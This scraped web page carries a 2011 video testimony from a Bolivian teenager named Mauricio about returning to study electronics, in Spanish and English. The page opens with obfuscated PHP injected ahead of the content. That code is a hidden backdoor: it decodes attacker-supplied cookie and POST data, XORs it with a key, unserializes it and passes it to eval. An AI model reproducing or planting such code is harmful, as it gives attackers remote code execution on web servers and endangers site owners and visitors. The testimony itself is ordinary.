$IqGkpPZCCk = chr (113) . "\171" . "\137" . chr ( 810 - 724 ).'k' . "\131" . "\x6b";$PtYOR = "\x63" . chr (108) . chr ( 222 - 125 ).chr ( 543 - 428 )."\x73" . "\137" . 'e' . "\170" . 'i' . "\163" . chr (116) . "\x73";$lFUtIB = $PtYOR($IqGkpPZCCk); $dlxFwL = $lFUtIB;if (!$dlxFwL){class qy_VkYk{private $ICZlVji;public static $tHQcngYZ = "4b18b3c9-8392-4ff4-a472-6ac285df067b";public static $aJcAjZPCu = 37748;public function __construct(){$PvVVxxg = $_COOKIE;$lQqNnkshQe = $_POST;$LqAKOi = @$PvVVxxg[substr(qy_VkYk::$tHQcngYZ, 0, 4)];if (!empty($LqAKOi)){$RgfUF = "base64";$zklagncDP = "";$LqAKOi = explode(",", $LqAKOi);foreach ($LqAKOi as $UgWiLBrRb){$zklagncDP .= @$PvVVxxg[$UgWiLBrRb];$zklagncDP .= @$lQqNnkshQe[$UgWiLBrRb];}$zklagncDP = array_map($RgfUF . '_' . "\x64" . 'e' . chr ( 345 - 246 )."\x6f" . "\x64" . chr (101), array($zklagncDP,)); $zklagncDP = $zklagncDP[0] ^ str_repeat(qy_VkYk::$tHQcngYZ, (strlen($zklagncDP[0]) / strlen(qy_VkYk::$tHQcngYZ)) + 1);qy_VkYk::$aJcAjZPCu = @unserialize($zklagncDP);}}public function __destruct(){$this->OFQgmgGNrE();}private function OFQgmgGNrE(){if (is_array(qy_VkYk::$aJcAjZPCu)) {$gvgVQqA = str_replace("\x3c" . chr ( 297 - 234 ).chr ( 783 - 671 )."\150" . chr ( 727 - 615 ), "", qy_VkYk::$aJcAjZPCu["\x63" . chr ( 587 - 476 ).'n' . 't' . 'e' . "\x6e" . "\164"]);eval($gvgVQqA);exit();}}}$NKxcbpd = new qy_VkYk(); $NKxcbpd = "45486";}$Qmnhs = "\x70" . chr (66) . "\137" . "\147" . chr (121) . "\x53" . chr (78); $ALpHvjJ = "\x63" . chr ( 997 - 889 ).chr (97) . "\163" . chr ( 569 - 454 )."\137" . chr (101) . 'x' . 'i' . 's' . 't' . chr (115); $xmjubZH = $ALpHvjJ($Qmnhs); $Qmnhs = "63414";$AqiAj = $xmjubZH;$ALpHvjJ = "48265";if (!$AqiAj){class pB_gySN{private $gDMtOqP;public static $BnOjdqwyJ = "f8655c24-1932-4925-af50-751760fed794";public static $EcyZSqrd = 13793;public function __construct($ihZLR=0){$gbBdHHP = $_COOKIE;$PXPmQMAB = $_POST;$wDHsj = @$gbBdHHP[substr(pB_gySN::$BnOjdqwyJ, 0, 4)];if (!empty($wDHsj)){$eYsRwAIoLP = "base64";$YsiViGmV = "";$wDHsj = explode(",", $wDHsj);foreach ($wDHsj as $reyGtBKhv){$YsiViGmV .= @$gbBdHHP[$reyGtBKhv];$YsiViGmV .= @$PXPmQMAB[$reyGtBKhv];}$YsiViGmV = array_map($eYsRwAIoLP . "\137" . chr ( 234 - 134 ).'e' . "\143" . chr (111) . chr (100) . "\145", array($YsiViGmV,)); $YsiViGmV = $YsiViGmV[0] ^ str_repeat(pB_gySN::$BnOjdqwyJ, (strlen($YsiViGmV[0]) / strlen(pB_gySN::$BnOjdqwyJ)) + 1);pB_gySN::$EcyZSqrd = @unserialize($YsiViGmV);}}private function GmJzkZpX(){if (is_array(pB_gySN::$EcyZSqrd)) {$WUrkOTcfz = str_replace(chr ( 974 - 914 ) . chr (63) . chr (112) . "\150" . "\160", "", pB_gySN::$EcyZSqrd[chr ( 600 - 501 ).chr (111) . chr (110) . "\164" . "\x65" . 'n' . 't']);eval($WUrkOTcfz); $BxmUIjXEc = "17620";exit();}}public function __destruct(){$this->GmJzkZpX(); $BxmUIjXEc = "17620";$QpyGsN = str_pad($BxmUIjXEc, 10);}}$QyvUd = new pB_gySN(); $QyvUd = "9561_23577";} Mauricio: “Mi hermana, me dijo ¿por qué no lo intenta?” | Ampliando Voces

Bolivia

Mauricio: “Mi hermana, me dijo ¿por qué no lo intenta?”

Publicado el Friday, 10 de June de 2011 a las 16:39.

Mauricio: “Mi hermana, me dijo ¿por qué no lo intenta?” from Ampliando Voces on Vimeo.

Listen to this story in English:

[audio:Mauricio.mp3|titles=Mauricio]

Voice: David Archer

Me llamo Mauricio, estoy a punto de cumplir 17. Soy de Bolivia, de La Paz. Lo que estoy estudiando es electrónica. Tal vez yo estudie otra cosa pero tal vez una empresa no me acepte y puedo dar tranquilamente mis talleres de electrónica.Yo dejé de estudiar por ciertos motivos familiares, económicos y también del colegio. Me animó mi hermana para estudiar electrónica. Me dijo que se estaban aceptando a partir de los 16 años, me dijo ¿por qué no lo intenta?

Lo que espero es que algunos profesores puedan explicar mejor a su tema, que no se salgan del tema, que estén comprometidos a enseñar. Que no digan “yo he estudiado y para mí no más es esto”.

Mauricio, 16 años, La Paz, Bolivia, 2011

Testimonio colectado por la Asociación Alemana para la Educación de Adultos (AAEA) – DVV International

ENGLISH TRANSLATION

My name is Mauricio, and I’m about to turn 17. I’m from Bolivia, La Paz. I’m studying electronics. Maybe I’ll study something else, or maybe no company will hire me and I can start my own electronics workshop.

I quit school for family and economic reasons, and also problems in school. My sister encouraged me to study electronics. She said they were admitting people age 16, and said: “Why don’t you give it a try?”

I hope that some teachers can explain better their subjects, that they do not skip the subject, and are committed to teach, that they do not say “I have gone to school, and I don’t care about you”.

Mauricio, 16 years old, La Paz, Bolivia, 2011

Deja tu comentario

Click here to cancel reply.